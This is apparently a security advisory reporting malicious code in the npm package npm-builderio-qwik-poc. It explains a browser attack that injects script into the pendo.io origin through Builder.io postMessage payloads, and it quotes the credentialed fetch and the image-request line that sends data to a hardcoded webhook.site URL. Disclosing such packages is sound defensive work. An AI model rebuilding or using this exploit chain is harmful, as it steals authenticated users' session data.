Summary
Malicious code in npm-builderio-qwik-poc (npm)
Details
The package's main entry `index.js` is a working browser exploit, not a library. When loaded in a DOM context, it creates a hidden iframe pointing at `www.pendo.io?builder.frameEditing=true`, then sprays `builder.patchUpdates` postMessages whose `op:'replace'` payload on `/bindings/show` carries a JavaScript string that the Builder.io SDK's `stringToFunction()` passes to `Function()` — achieving script execution in the pendo.io origin. The injected script performs a credentialed `fetch('https://novus-api.pendo.io/pendo/app', {credentials:'include'})`, base64-encodes the response, chunks it, and exfiltrates each chunk via `new Image().src = 'https://webhook.site/236d0505-1750-49fe-907d-604b0934b5c7?chunk=...&d=...'` to a hardcoded attacker-controlled webhook. Any developer who bundles this package into a web application weaponizes their site against pendo.io users: visitors will silently leak authenticated pendo.io session data to the attacker. The exfil destination is hardcoded with no opt-in, configuration, or authorization gate, so the harm fires on every load regardless of consumer intent. There is no install-time or import-time Node side effect (the code requires a browser DOM), but the public API surface itself is the attack.
